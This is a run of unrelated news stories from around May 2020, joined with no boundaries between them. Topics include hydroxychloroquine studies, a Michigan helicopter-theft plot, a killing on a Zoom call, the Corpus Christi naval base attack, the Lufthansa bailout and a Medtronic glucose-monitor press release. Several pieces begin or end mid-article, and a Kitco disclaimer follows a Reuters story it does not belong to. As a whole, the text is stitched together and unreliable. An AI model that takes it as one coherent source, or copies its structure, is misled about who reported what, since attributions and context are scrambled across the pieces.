The study was based on a retrospective analysis of medical records. It looked at data from 671 hospitals, where 14,888 patients were given either hydroxychloroquine or chloroquine, with or without the antibiotic macrolide, and 81,144 patients were not on any of the treatment regimens.

The WHO warned this week that hydroxychloroquine had been shown to be potentially dangerous in several studies [George Frey/AFP]

A similar analysis in the US found similar results. That study, funded in part by the US governments National Institutes of Health, found higher overall mortality in coronavirus patients who took hydroxychloroquine while in Veterans Administration hospitals. It found no benefit and more deaths among those given hydroxychloroquine versus standard care alone. The work was posted online for researchers and has not been reviewed by other scientists.

Trump, without evidence, called the veterans study a Trump enemy statement.

If you look at the one survey, the only bad survey, they were giving it to people that were in very bad shape. They were very old, almost dead, Trump told reporters Tuesday.

Weeks ago, Trump had promoted hydroxychloroquine as a potential treatment based on a positive report about its use against the virus, but subsequent studies found that it was not helpful and came with risks. The US Food and Drug Administration in April issued a warning about its use.
A US Coast Guard helicopter: US Coast Guard/AFP via Getty Ima

Police in Michigan have arrested an armed 70-year-old man who allegedly plotted to steal a US Coast Guard helicopter and rescue hospitalised coronavirus patients.

Jesse T McFadden, from Omer, Michigan, was charged with four felonies following the series of events that started around 8am on Sunday morning.

Mr McFadden allegedly threatened to shoot Arenac County dispatchers and place them into quarantine during a phone call at 7.58am, said Hampton Township Police Lt Michael Wedding.

McFadden told dispatchers that he would shoot-up a police station and head to a hospital in Standish, Michigan, so he could shoot out the power and demand keys to ambulances.

He wanted to disrupt the power to the hospital, unlock the doors, and release patients under COVID-19 quarantine, read a court document on the case.

Police alleged that the 70-year-old also planned to steal a helicopter or boat from the US Coast Guard Station Saginaw River at Essexville.

McFadden arrived later at the coast guard station at 10.37am, and could be seen in surveillance cameras stationed outside the security gate.

He was trying to punch in the code and then he had called them and made threats he was going to ram the gate, said Lt Wedding.

Arenac County Central Dispatch warned police about Mr McFaddens motives, with concerns that he was an ex-Michigan Militia member armed with guns.

Mr McFadden departed the coast guard station, before Michigan state police noticed his vehicle parked at an Essexville gas station at around 11.15am.

Lt Wedding said the drivers side door was open and the engine was still running, when state police arrived at the scene alongside Bay County Sheriffs deputies and local public safety officers.

Investigators said authorities found a loaded shotgun on the passenger seat of Mr McFaddens SUV.

Mr McFadden, who was confronted when he walked out of the gas station store, was then tasered, arrested and taken into custody.

Read more

Seven charts that show the true scale of the UK coronavirus outbreak

Story continues

They can blame it for everything: What coronavirus means for Brexit

The Americans who think that coronavirus is a hoax

Do you need a face mask and where can you buy one?

UK lockdown: Can I see my family and friends under new rules?
NAPLES - Large fires fostered by climate change have destroyed enormous areas of forest land and damaged biodiversity and the amount of area prone to large fires may rise by 40% if average temperatures increase by 1.5 degrees. Starting from these data, the Union for the Mediterranean (UfM) has decided to promote and support studies and projects in the Mediterranean region to halt biodiversity losses and achieve sustainable and inclusive growth for a relaunch after COVID-19. UfM announced the decision on World Biodiversity Day, which this year focuses on the theme ''Our Solutions Are in Nature''. The first scientific study on the impact of climate and environmental change in the Mediterranean by the Mediterranean Experts on Climate and Environmental Change (MedECC) with the support of the UfM underscored that 28% of about 25,000 plant species - half of which in the Mediterranean - are at risk. According to the International Union for the Conservation of Nature (IUCN), about 2,000 species are threatened, 69% of which are animals and 34% of which are fish species at risk due to overfishing.



UfM Secretary General Nasser Kamel noted that "sustainable cooperation mechanisms for biodiversity need more than ever to be at the heart of recovery plans after the COVID-19 pandemic.



Safeguarding biodiversity and ecosystems are high on the agenda of the UfM, as they are crucial to preventing, and building resilience to, future outbreaks and providing immediate business and investment opportunities for restoring the region's economy." UFM highlighted projets in the area including 'Plastic Busters MPAs' tackles marine litter in the Mediterranean, with the overall goal of maintaining biodiversity and preserving natural ecosystems in pelagic and coastal marine protected areas (MPAs). The project is led by the University of Siena, Italy.



'Scaling up forest and landscape restoration' meanwhile aims to restore biodiversity and promote joint mitigation and adaptation approaches through regional platforms, technical assistance and pilot activities applying appropriate forest and landscape restoration. The project is implemented by the Food and Agriculture Organization (FAO).



The 'MedFund' aims to strengthen the financial sustainability of Mediterranean MPAs to protect marine biodiversity and to contribute to the long-term management of these areas across the region. The MedFund is coordinated by the Association for Sustainable Financing of Mediterranean MPAs.



The next ministerial statement by UfM member states on the environment and climate change, expected to be issued during the meeting scheduled for December in Egypt, will shape the agenda Ain the area until 2030 and focus ever more on the protection of biodiversity and ecosystems.
He's had a lockdown like no other, shooting to fame after millions of viewers around the world devoured the smash hit book-to- screen drama Normal People.

And Paul Mescal has admitted in a new interview that he would relish the opportunity to return to the character of Connell Waldron - the male lead in Sally Rooney's novel of young love, and the subsequent 12 part TV adaptation.

Paul, 24, is the cover star for the Summer 2020 issue of Wonderland magazine, teasing his fans by paying tribute to Connell's chain in a series of smouldering shots, while opening up on his new-found fame in a candid interview.

Iconic: Paul Mescal has admitted in a new interview that he would relish the opportunity to return to the character of Connell Waldron from his smash hit BBC drama Normal People

Smash hit: Following the turbulent relationship between working-class Connell [Mescal] and well-heeled Marianne [Daisy Edgar-Jones], the book-to-screen adaptation of Normal People has been praised for its unflinching take on sexuality

The edgy shoot sees the County Kildare native pull off his best cover star poses, while showing off his muscles in sweater vests and tight t-shirts, accessorised with a new spin on the famous chain which Connell wears throughout Normal People and which has developed its own 140k strong Instagram following.

Paul admits in the accompanying interview that he is bemused by the sheer level of fame he has rapidly gained over the past two months, not least because his stardom has come while he self isolates alone in London.

'I feel the success of the show when I pick my phone up, but when I put my phone down, nothing has changed from before or after the release,' he says during the Zoom interview.

A new chain! Paul accessorises with a new spin on the famous chain which Connell wears throughout Normal People (right)

He adds that he has only experienced a brief moment of real life interaction with his fans during his weekly shops, saying of the first time a fan approached him: 'I went bright red and panicked a little>'

Paul says he's proud of the work he and his co-star Daisy Edgar-Jones have put on screen, especially Connell and Marianne's messy love story, and their realistic sex scenes, which have resonated with so many people.

Following the turbulent relationship between working-class Connell [Mescal] and well-heeled Marianne [Edgar-Jones], Normal People has been praised for its unflinching take on sexuality.

Cover star: The edgy shoot sees the County Kildare native pull off his best cover star poses, while showing off his muscles in a sweater vests

'Sex. Mental health. Young people today,' the actor says. 'It was the opportunity to present something that you feel is documented in a way that feels realistic to you as a young person And I wanted to do due justice, with the way [Marianne and Connell] were written we had a massive opportunity to put certain things right with how sex is portrayed on screen.'

With a total of 41 minutes of sex shown across the 12 episodes, Paul reveals he and Daisy had to laugh to get through the hours of footage they shot 'to break the tension'.

Alongside the headline-grabbing sex scenes and the universally relatable depiction of mental health among young people, there is another major talking point to come out of the series - the ending.

Fanbase: Paul admits in the accompanying interview that he is bemused by the sheer level of fame he has rapidly gained over the past two months

Lockdown: The actor admits it's been bizarre self isolating alone just as his stardom has rocketed

Down to earth: 'I feel the success of the show when I pick my phone up, but when I put my phone down, nothing has changed from before or after the release,' he says

Fans around the world: The Irish actor has amassed a huge fanbase around the world with celebs like Katy Perry tuning into the show

The conclusion of both Rooney's book and the TV adaptation sees Connell making plans to study in New York and Marianne telling him she will not follow him.

'I thought it was just the most beautifully sad ending to a story,' Paul insists, responding to some fans' outrage at the lack of romantic resolution.

'Totally, the romantic in me is like why doesn't she just tell him to stay? Or why doesn't she come over to New York? But it doesn't make sense in the reality of those two character's lives. I think ultimately if they did decide to stay together at that moment, it would be way more disappointing than the reality of the ending.'

Critically acclaimed: Paul says he's proud of the work he and his co-star Daisy Edgar-Jones have put on screen, especially Connell and Marianne's messy love story

Important message: 'Sex. Mental health. Young people today,' the actor says. 'It was the opportunity to present something that you feel is documented in a way that feels realistic'

There it is! The actor is seen showing off his new chain in the smouldering shots for Wonderland

This is the life: The photos were shot by Bartek Szmigulski before lockdown

The end? Paul admits in the interview that he would love the chance to return to the character of Connell one day

Pre-order now at wonderlandmagazine.com

Thanks to the huge success of the show, and the less than satisfactory ending for some, there has been pleas for Paul and Daisy to return to the characters.

'Oh, there's no question that character to me is still alive and breathing and very much has a lot of life left to live, and has a relationship with Marianne that is maybe unfinished,' Paul explains, but cautions:

'I I do feel like the series that has finished is its own thing, and I'm totally comfortable with that. It's not on the cards at the moment, but if I got the opportunity to play him again, amazing.'

Pre-order now at wonderlandmagazine.com
There were no tumbleweeds blowing through Salem County Wednesday morning, but a steady wind made the creeks ripple and reeds bend along the back roads. At the Cowtown Rodeo and its adjacent flea market, no bulls were bucking, no customers bartering.

In the small, historic city of Salem, where a stately 600-year-old oak tree finally fell last year, the iconic Salem Oak Diner sat closed across the street, Easter decorations still in the windows. A sign on the door said, We hope to see you all back soon, but residents are concerned the closure will be permanent.

Thats the way things are going in the rest of New Jerseys most rural county, too  a steady and quiet limbo until New Jersey Gov. Phil Murphy lifts COVID-19 restrictions there. Business owners and elected officials in this county of 62,300 are hoping they can get special consideration, pointing out that Salem County is very different from the rest of the densely populated state. On Wednesday night, during the monthly meeting, the board of elected freeholders passed a resolution urging Murphy to reopen the county, describing the outbreak there as mild.

Salem County is uniquely vulnerable economically in that it consists of mainly small business and farms and thus the working families of our county are in dire need of reopening of our businesses to support our well-being ..., the resolution read.

When asked whether Murphy would comment specifically on Salem Countys request, a spokesperson said the governor had earlier addressed the issue of counties proposing individual reopening plans  there have been at least two others  during Wednesday afternoons virtual press conference.

Very happy to see folks really thinking this through at a tactical level, Murphy said, but we move as one state.

The Chamber of Commerce for Southern New Jersey, in its Economic Reopening and Recovery Plan published last week, argued against the one-size-fits-all approach.

South Jersey, given the demographics of the region, is better positioned to reopen quickly and safely, the plan stated. It is less densely populated, has more overall open space, and less heavily used public transportation.

Salem Countys population density is 195 people per square mile, the lowest in the state. As of Thursday morning, it had 484 confirmed cases of COVID-19 and 24 deaths. Hudson County, 125 miles north, has a population density of 13,495 people per square mile, with 17,814 confirmed cases and 1,121 deaths.

A lot of New Jersey, up by New York, is whats really affecting southern businesses, said R.J. Griscom, 34, president of Cowtown Rodeo.

 READ MORE: Memorial Day weekend at the Jersey Shore: Masked beach patrols, relaxed open-container laws, overflowing trash cans

Cowtown, the oldest continuous weekly rodeo in the United States, was set to kick off its 66th season Saturday night in Pilesgrove Township. Every Saturday from Memorial Day to late September, up to 2,500 customers would fill its outdoor arena, making it Salem Countys largest tourist attraction.

Griscom said he needs 1,000 people through the gates just to break even.

This will be the first time weve missed opening night. Ever, he said. And whether Im having a rodeo or not, I still have to feed the animals. I still have to pay bills.

Also closed is the flea market, where vendors sell clothes, food, and home goods  like Walmart 17 miles southwest in Pennsville, which has been allowed to stay open.

On summer Saturdays, Scott Donnioni can hear the rodeo from Auburn Road Vineyards, which he started in 2007 in Pilesgrove. Donnioni, 52, said hes been open for takeout and has been actively planning how hell keep customers masked and properly distanced when his place is fully back in business. Still, hes cautious, knowing that customers travel from Wilmington and even New York City to the 16-acre, former pasture-turned-winery.

Salem County is just 30 miles south of Philadelphia and the first stop in New Jersey for motorists traveling north on the Delaware Memorial Bridge.

 READ MORE: Atilis Gym in Bellmawr closed by state Health Department after reopening against Gov. Murphys orders

I couldnt put up a sign that says, Salem County residents only,' " Donnioni said. I get why the governor is doing what hes doing, and I understand what the freeholders are saying. I dont want to see this again. Opening up, only to have to close down again, would be disastrous.

Salem County formed a Re-Opening Task Force earlier this month that aimed to get Murphys attention. Several business owners on the task force deferred to the elected freeholders for comment.

Freeholder Mickey Ostrum said there arent many tourist attractions in the county, aside from Cowtown and the wineries.

People tend to stay in Salem County with or without a pandemic, Ostrum said.

In Lower Alloways Creek, deep into Salem County where fresh and saltwater start to mingle, many driveways are filled with boats and crab traps. About one-third of the 72-square-mile municipality is made up of water. The local fire department has hosted muskrat dinners for decades.

Its definitely a world of its own down here, said Aidan Hassler Wilson, co-owner of Lisas Place Salon. Were not on top of each other. Its a lot of farms, a lot of waterways workers.

Hassler Wilsons father, Charles V. Hassler, is a county freeholder.

While the salon is closed, Hassler Wilson and co-owner Brandi Rosenholtz are remodeling, painting the walls, and spreading out hair stations so customers will be able to stay 6 feet apart. They dont plan to open without consent.

If we just opened, they could take our licenses, Rosenholtz said. They could take everything.
THE Department of Social Welfare and Development-Central Visayas (DSWD 7) has distributed 99,256 family food packs to 71 local government units (LGUs).

The family foods packs are worth P39,100,378.78.

These goods were given to students and workers who were displaced by the crisis brought about by the coronavirus disease pandemic.

Each food pack contains six kilos of rices, four cans of sardines, four cans of processed meat and six sachets of instant coffee.

The food pack is estimated to last a family of five for two days.

There are still 27,051 family food packs set for distribution.

Repacking activities in the DSWD warehouses in the provinces of Cebu, Bohol and Negrol Oriental are also ongoing.

The family food pack program is in partnership with the Philippine National Police, Philippine Coast Guard, Armed Forces of the Philippines, Bohol Island State University, the Philippine Maritime Institute through its Reserve Officer Training Corps and the Sangguniang Kabataan of the Municipality of Dauis, Bohol.

DSWD 7 also expressed gratitude for the P76,710-worth of donations they have received.

The donation includes meal packs from McDonalds, Starbucks, Waterfront Cebu City Hotel and Casino, Jollibee and Miggab Eatery.

The IPI Foundation Inc. has also turned over alcohol, thermal scanners and masks from the Tzu Chi Foundation. (HBL, RTF)
Ajibola Basiru, spokesman of the senate, says many of the countrys laws are dead letters because they are no longer useful. Spe...





Ajibola Basiru, spokesman of the senate, says many of the countrys laws are dead letters because they are no longer useful.





Speaking on a live social media programme  Politics Everywhere With SOK  Basiru, senator representing Osun central, said the country needs to declare a state of emergency on its laws.





The national assembly under the chairmanship of Bukola Saraki, former senate president, made attempts to amend, repeal and reenact some of these defective laws.





At one instance, the house of representatives introduced as many as 130 bills in one day but most of the proposed legislation passed by both chambers of the national assembly were not assented to by President Muhammadu Buhari.

Basiru said poor funding has hindered the reworking of these obsolete laws.





It tells us that largely we need to declare a state of emergency on the laws of Nigeria. Most of our laws have become what they call dead letters because they are no longer useful, the senator said in a statement.





We know that by Section 5 of the Nigerian Law Reforms Commission Law, the commission is saddled with ensuring dynamic amendment of our laws.





But largely because of funding, and may be lack of commitment to it, the commission has been largely in limbo.





So, you would agree with me that we need to declare a state of emergency in terms of our laws. But then, you see there has to be a relationship between the executive and the legislature.





I want to enjoin the attorney-general of the federation and the Law Reform Commission and particularly the executive to take the issue of some of our laws reform very serious.




About 20 people were tuned in to a Zoom conference call just after noon on Thursday when 72-year-old Dwight Powers unexpectedly slumped from his chair and disappeared off-screen.

Near where Powers had been sitting in his Amityville, New York, home, his 32-year-old son, Thomas Scully-Powers, suddenly appeared, standing naked, witnesses told police. Several people on the video chat dialed 911.

"They all did the right thing," Suffolk County Police Det. Lt. Kevin Beyrer, commanding officer of the homicide unit, told Newsday. "They were all concerned about their friend. It was horrible that they had to witness this."

Officers later found Powers stabbed to death in his home, killed by his son, police say. He said witnesses recounted watching Powers fall and hearing heavy breathing over the call.

It's unclear if any of the people on the video call actually saw the son stab Powers, Beyrer told Newsday.

"We don't know what they witnessed. There were a number of people on this conference call," he told the paper.

Zoom has become an increasingly common method of communication as the coronavirus pandemic has canceled group activities and large gatherings. But the video-chat platform has been criticized over security concerns, after hackers have sabotaged news conferences, Bible study sessions, community meetings and graduation ceremonies. Malicious hackers have displayed Nazi imagery, racist messages and child porn during widely-attended Zoom calls. In response, Zoom rolled out a 90-day plan to fix the app's vulnerabilities and has issued security updates aimed at fending off so-called "zoom-bombers."

The fatal stabbing of Powers appears to be the first slaying to occur on a Zoom chat during the coronavirus pandemic.

Police did not release any information on a suspected motive in the killing, though Beyrer told Newsday police do not think the alleged murder was related to the coronavirus pandemic.

Police also declined to describe the nature of the Zoom call, citing privacy concerns.

An unnamed witness told WABC that people watched as Scully-Powers stripped the sheets from a bed and laid them on the ground, as if to cover something.

After witnesses called 911, it took about 20 minutes to determine where Powers lived, police said. Officers arrived at the father and son's home within an hour of the alleged stabbing, according to a statement from the Suffolk County Police Department. WABC reported that Scully-Powers answered the door, before slamming it closed and running upstairs.

A police spokesman told The Washington Post that Scully-Powers then jumped from a second-story window and fled the scene.

Scully-Powers was arrested about a mile away just before 1 p.m. He was charged with second-degree murder and transferred to a hospital to receive treatment for minor injuries sustained from jumping out the window, police said.
Press Release

22 May 2020

Following the news that Spain aims to open up to overseas holidaymakers by late June;



Ben Cordwell, Travel & Tourism Analyst at GlobalData, a leading data and analytics company, offers his view on the current situation:

Advertisements

"Spain was the third most visited country in the world last year, welcoming 83.7 million international tourists. According to GlobalData, that number will drop dramatically to 50.2 million tourists in 2020. This decrease highlights the devastating impact that COVID-19 is having on Spanish tourism and the wider Spanish economy."

"There are many factors Spain cannot control. For example, UK officials have suggested potential measures such as all nationals who have been abroad must self-isolate for two weeks on their return. These measures will significantly impact how British tourists travel abroad, which will have a knock-on effect on how quickly the Spanish tourism industry can recover - as 23.7% of Spain's visitors in 2019 were from the UK, which is Spain's biggest inbound market."

"Spanish transport minister Jose Luis Abalos has stated that the country is planning on welcoming back tourism in late July, however, there are a number of obstacles that stand in the country's way."

"Firstly, holidaymakers thinking of going to Spain will need to be convinced that it is safe. Spain has had the fifth highest number of confirmed coronavirus cases worldwide, a number that could deter potential visitors. Officials need to put stringent measures in place to reassure visitors that their health is the upmost priority."

"Secondly, Spain needs to be affordable. Businesses need to avoid the temptation to raise prices to make up for lost time as holidaymakers will be looking for cheap deals. Offering discounts may just convince sceptical visitors of going on holiday - a similar strategy was successfully adopted post-9/11."
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Linkedin Balazs Kaufmann and Krisztina Fenyo (Reuters) Szada, Hungary  Fri, May 22, 2020 10:05 608 fc6853813033f564188675f8bd98eb25 2 Environment Hungary,circus,safari,animals,coronavirus,COVID-19 Free

Like many business owners, Jozsef Richter has had to shut his circus during Hungary's lockdown to help curb the spread of the coronavirus, but he has found another way of entertaining visitors while respecting social distancing rules.

People can now see around 100 circus animals from the comfort of their own cars in his Szada Safari Park, which opened its gates on Wednesday. The five-acre park is a short drive east of Budapest.

The animals include camels, elephants, giraffes and even two "zonkeys" - a cross between a circus zebra and a donkey.

"I have long dreamed of creating such a park but it would have been very hard to operate it alongside the circus," Richter said. "Now... we have had to close for several months so I thought this would be the time."

Visitors are queuing up already to see the animals, which Richter said are all accustomed to human proximity and attention.

Camels poke their heads through car windows for sticks of carrot. Giraffes and elephants also reach in to help themselves to veggie treats.

Read also: It's potatoes, again, for circus animals in Italy lockdown

"People stay in their cars, there is no (human-to-human) contact," Richter said. "The animals are docile and used to people."

The park also throws a financial lifeline to his business. The entrance fee for adults is 2,000 forints ($6.25) and for kids 1,500 forints.

"This helps us survive (closure)," said Richter. "Reserves could run out... This is better than relying on charity or asking for help, and we keep our audience entertained."

"I think the animals also enjoy getting little treats and being in the limelight again."

One of the first visitors to the park, seven-year-old Ildiko Nandori, said she enjoyed the visit: "It was good because we could go near and even touch the animals."
French military surrenders to coronavirus Duffelblog

Hilarious obituary for Uncle Bunky goes viral: Im ready for the dirt nap NY Post. Reminds me of some skibums I knowMany of my skibum cronies are based in Whistler, British Columbia (Canada), so they (largely) eschew firearms in their antics

#COVID-19

What Kind of Country Do We Want? New York Review of Books

The Big Failure of Small Government Project Syndicate

Laurence Tribe roasted for advocating herd immunity on coronavirus: You go first The Hill

Nearly half of Twitter accounts pushing to reopen America may be bots MIT Technology Review

As America Reopens, Trial Lawyers Salivate at Endless Coronavirus Lawsuit Possibilities Breitbart. Posting this from a dodgy conservative source, to make readers aware of another conservative meme, like people protesting for opening the economy.

Trump skips a mask in public during tour of Michigan auto plant that requires them WaPo

Donald Trump says that I tested positively toward negativemeaning I tested negative for coronavirus after taking hydroxychloroquine despite FDA warning of its dangers Daily Mail

Reopening reality check: Georgias jobs arent flooding back Politico

Reopening Dental Offices For Routine Care Amid Pandemic Touches A Nerve Kaiser Health News

What Lockdown? Worlds Cocaine Traffickers Sniff at Movement Restrictions OCCRP. Fascinating.

States Dont Agree on How to Determine When It Is Safe to Reopen WSJ

Trump says U.S. wont shut down again if theres second wave of coronavirus MarketWatch Yes, but would you bet on anything Trump says? I pity anyone who is currently tradin.g
This undated handout photo provided by Del Mar College, Texas, shows Adam Alsahli's image for his student identification card. Alsahli, 20, is the suspect killed in an attack at Naval Air Station Corpus Christi, Texas

The suspect who was shot dead as he carried out Thursday's 'terrorism-related' attack on a Texas naval air base has been identified by the FBI as a 20-year-old Syrian-born college student.

According to investigators, Adam Salim Alsahli opened fire at Naval Air Station Corpus Christi in an attack that wounded one sailor, a member of the base security force, but no one other than the assailant was killed.

A group that monitors online activity of jihadists has since claimed that Alsahli voiced support for hardline Islamic clerics on social media prior to the thwarted attack.

Alsahli lived in Corpus Christi and had been a business major at a local community college. A law enforcement official familiar with the investigation said Alsahli was a native of Syria who held US citizenship.

Del Mar College provided a photo to the Associated Press on Friday showing Alsahli as pictured on his student identification card.

The gunman tried to speed through a security gate at the base at 6.15am, opening fire and wounding the sailor. But she was able to roll over and hit a switch that raised a barrier, preventing Alsahli from getting onto the base, the officials said.

Other security personnel then opened fire on the attacker, killing him.

There was an initial concern that Alshali may have had an explosive device, but Navy experts swept the area and the car and found nothing.

The FBI is examining social media posts investigators believe were made by the 20-year-old expressing support for extremist groups like Al-Qaida in the Arabian Peninsula, two officials familiar with the investigation said.

FBI investigators said the shooting incident at a Texas naval air station Thursday morning was a 'terror' attack

Defense Secretary Mark Esper said Friday on 'The Today Show' that the wounded sailor is 'doing well.' He also said the FBI knows the basics of what happened during the attack but is working through details, including about the suspect.

'We hope to know more in the coming days as to what happened, what this person was motivated by,' Esper said. 'But we need to let the facts come out, let the investigators do their job, and well see where this ends up.'

Social media accounts matching Alsahli's profile on Twitter, Facebook and WhatsApp featured support for hardline clerics, mostly from Saudi Arabia, and jihadi figures such as Ibrahim al-Rabaysh, who had been a spokesman for the Yemen branch of Al Qaeda and who was killed by a US drone strike in 2015, according to Rita Katz, director of the SITE Intelligence Group.

Katz tweeted a translated version of a passage posted on Alsahli's Twitter page, which read: 'I love the Mujahidin [sic], Im not one of them and my sword is aimed over the necks of whoever doubts them (stabs them). '

Corpus Christi police SWAT and FBI agents surround a home near Saratoga Boulevard on Thursday, possibly related to the attack on the naval base

Alsahli had been a student at Del Mar College, a community college in Corpus Christi, according to a statement on Friday from school spokeswoman Melinda Eddleman. He had been a business administration major and had attended classes in the fall 2018, spring 2019 and fall 2019 semesters.

A search of court records in Corpus Christi showed Alsahli had received a traffic ticket in August for failing to yield. The ticket was dismissed in January after Alsahli took a driver's safety course.

FBI Supervisory Senior Resident Agent Leah Greeves said at a news conference Thursday that investigators were working to determine whether a second person of interest was at large but did not elaborate.

She also would not discuss a potential motive or specify what led investigators to believe the shooting was related to terrorism.

'We have determined that the incident at the Naval Air Station Corpus Christi is terrorism related,' Greeves said. 'We are working diligently with our state, local and federal partners on this investigation, which is fluid and evolving.'

Later, federal agents were seen carrying items from inside a house that a Corpus Christi police tactical unit had surrounded and a public records search by local television station KRIS indicated was Alsahli's last known address. A police spokesman would not confirm that the activity was related to the shooting at the Naval station.

The FBI's field office in Houston has taken the lead on the investigation, and neither investigators nor the Navy provided details on the shooter or a possible motive. Attorney General William Barr has also been briefed, a Justice Department spokeswoman said.

The injured sailor was discharged from a hospital where she was treated for minor injuries, according to a statement from the command.

Officials said the shooter was in the vicinity of the North Gate around 6.15am and immediately locked down the base

A short time later, the shooter was 'neutralized', base officials said in a statement. Police at the scene of the incident Thursday morning

The shooter was reported at the North Gate (star, far right), according to Navy officials

The naval station had a nearly identical incident in February 2019 when a man drove a stolen vehicle through a checkpoint at the base before crashing it along Ocean Drive. That suspect was also fatally shot.

In another incident at the base in 2019, a man pleaded guilty to destruction of US government property and possession of a stolen firearm for ramming his truck into a barricade at the Corpus Christi station.

Pensacola base gunman coordinated with al-Qaida Mohammed Saeed Alshamrani, who was shot dead by law enforcement after he opened fire on the Naval Air Base Station in Pensacola on December 6, laid out his intentions in a note dated September 6. He murdered three US sailors and injured eight others at the base. The 21-year-old military trainee's note was found by the FBI on one of his two iPhones after the agency spent months breaking through the encryption protecting the devices. The FBI released screenshots of the note on Monday and revealed they discovered Alshamrani had been in contact with al Qaeda operatives. Attorney General Bill Barr on Monday announced that the FBI had finally gained access to Alshamrani's two iPhones after months of working to break their encryption. Alshamrani had attempted to destroy one of the phones by firing a bullet at it before he was killed. Advertisement

According to the Navy, the facility is located on the Texas Gulf Coast approximately 220 miles from Houston.

The base employs more than 9,700 people full-time, including 1,900 active duty Navy and Marine personnel.

The Corpus Christi shooting comes just days after Attorney General William Barr linked Mohammed Saeed Alshamrani, a gunman who killed three sailors during a December 2019 attack at the Pensacola Naval Air Station in Florida, to al-Qaida.

Law enforcement officials discovered contacts between Alshamrani and operatives of al-Qaida after FBI technicians succeeded in breaking into two cellphones that had previously been locked and that the shooter, a Saudi Air Force officer, had tried to destroy before he was killed by a sheriff's deputy.

'We now have a clearer understanding of Alshamrani's associations and activities in the years, months and days leading up to his attack,' Barr said at a news conference on Tuesday.

Law enforcement officials had previously left no doubt that Alshamrani was motivated by jihadist ideology, saying he visited a New York City memorial to the attacks of September 11, 2001, over the Thanksgiving holiday weekend.

Authorities said Alshamrani also posted anti-American and anti-Israeli messages on social media just hours before the shooting.

Separately, AQAP, al-Qaidas branch in Yemen, released a video claiming the attack. AQAP has long been considered the global networks most dangerous branch.
By Emma Thomasson and Ilona Wissenbach

BERLIN (Reuters) - Lufthansa is in advanced talks over a 9 billion euros state bailout that would see Germany take a 20% stake in its flagship airline, as countries battle to save an aviation industry hammered by the coronavirus pandemic.

Lufthansa said on Thursday a deal would involve the government taking two seats on its supervisory board, but it would only exercise its full voting rights in exceptional circumstances, such as to protect the firm against a takeover.

Lufthansa has been in talks with Berlin for weeks over aid to help it cope with what is expected to be a protracted travel slump, but has been wrangling over how much control to yield in return for support.

Sources involved in the negotiations said the government's economic stabilisation fund had not yet put forward a final offer, but should do so on Thursday.

"There are still some unresolved issues to be worked out. As soon as that is done, the management board could give its approval," said a Lufthansa spokesman.

The supervisory board would then be given two days to examine the proposal. Whether the Lufthansa management board would decide on Thursday or Friday would depend on the talks.

Rivals such as Franco-Dutch group Air France-KLM and U.S. carriers American Airlines, United Airlines and Delta Air Lines have also sought state aid.

Lufthansa said it expected conditions of the deal to include the waiver of future dividend payments and limits on management pay, adding the package would have to be approved by the European Commission.

The plan includes a 3 billion euro loan from the state-backed bank KfW and a convertible bond, which could be exchanged for a further 5% stake plus one share in the event of a public takeover offer by a third party.

Lufthansa said it hoped the deal could be concluded promptly to secure its long-term solvency.

German media reported late on Wednesday that a deal had been done and Chancellor Angela Merkel said she expects an agreement on a rescue package soon, but did not elaborate.

(Additional reporting by Christian Kraemer; Editing by Stephen Coates and Mark Potter)
Disclaimer: The views expressed in this article are those of the author and may not reflect those of Kitco Metals Inc. The author has made every effort to ensure accuracy of information provided; however, neither Kitco Metals Inc. nor the author can guarantee such accuracy. This article is strictly for informational purposes only. It is not a solicitation to make any exchange in commodities, securities or other financial instruments. Kitco Metals Inc. and the author of this article do not accept culpability for losses and/ or damages arising from the use of this publication.
DUBLIN, May 22, 2020 (GLOBE NEWSWIRE) -- Medtronic plc (NYSE:MDT), the global leader in medical technology, today announced U.S. Food and Drug Administration (FDA) approval for the Android version of its Guardian Connect continuous glucose monitoring (CGM) system. The Guardian Connect system is a standalone CGM system that alerts patients of potential high or low sensor glucose events up to 60 minutes in advance and provides confidence to people living with diabetes who worry about fluctuating glucose levels and dangerous low glucose events. The Guardian Connect app will include several enhancements to further improve user experience. These include easier product setup through the in-app Startup Wizard, and personalized volume adjustments, including the ability to mute alerts when individuals do not want to be disturbed for a period of time.

An analysis of real-world data has shown patients using low predictive alerts avoided 65% of low excursions, a 44% improvement from patients not using low predictive alerts,1 said Amit Bhargava, M.D., assistant professor of Medicine, Drexel University College of Medicine and division chief, Division of Endocrinology, Jefferson Hospital, Jefferson Hills, Pa. This low detection is incredibly important for my patients that experience hypoglycemic unawareness, meaning they can go low without having any warning signs or symptoms. I am pleased to now be able to offer this technology to patients regardless of if they use an iOS or Android device.

The Guardian Connect system leverages the Guardian Sensor 3, the most advanced glucose sensor from Medtronic, to accurately alert users of lows more than 90% of the time,2 so users can feel confident in the numbers they are seeing. Through the companys latest predictive algorithms, the Guardian Connect system is also the only standalone CGM system that can alert patients of potential high or low sensor glucose events up to 60 minutes in advance, allowing individuals time to plan and take action if necessary.

Android compatibility for our Guardian Connect system allows even more users to check their glucose levels seamlessly and discreetly right on their smartphone and to take action if needed, said Mike Hill, vice president and general manager of the Multiple Daily Injection Solutions team at Medtronic. Were committed to enhancing the user experience for our customers, so weve taken valuable feedback to make updates to the alert functions. Now users can adjust alert volume and mute alerts as needed in certain situations that would require this. Care partners can also continue to use the system to track glucose in real-time or receive text alerts for their loved ones with diabetes.

The updated Guardian Connect system with Android compatibility is expected to begin shipping in summer of this year. Existing Guardian Connect customers will also be contacted this summer about the update and how they can update their app to receive the latest functionality.

About Continuous Glucose Monitoring (CGM)

A CGM system provides continuous, real-time glucose value and trend information about glucose levels for people with diabetes. In addition, a smart CGM system predicts future high and low glucose events and provides access to additional algorithms and insights that can inform users of clinically relevant glucose patterns. This allows for appropriate intervention (after verifying with a blood fingerstick test) to mitigate hyperglycemia (high blood glucose) or hypoglycemia (low blood glucose), increasing the patient's time in the optimal glucose target range. To use a CGM system, the person with diabetes inserts a tiny sensor beneath the skin, in the abdomen or upper arm. The sensor, which measures glucose levels from the interstitial fluid under the skin, is attached to a transmitter that sends readings to an app, wearable monitor or insulin pump every five minutes. Alerts can be customized to notify patients up to 60 minutes before they reach personal preset low or high sensor glucose limits. CGM provides a more complete picture because it reveals high and low glucose levels that periodic blood fingerstick testing might miss.

About the Diabetes Group at Medtronic ( www.medtronicdiabetes.com )

Medtronic is working together with the global community to change the way people manage diabetes. The company aims to transform diabetes care by expanding access, integrating care and improving outcomes, so people living with diabetes can enjoy greater freedom and better health.

About Medtronic

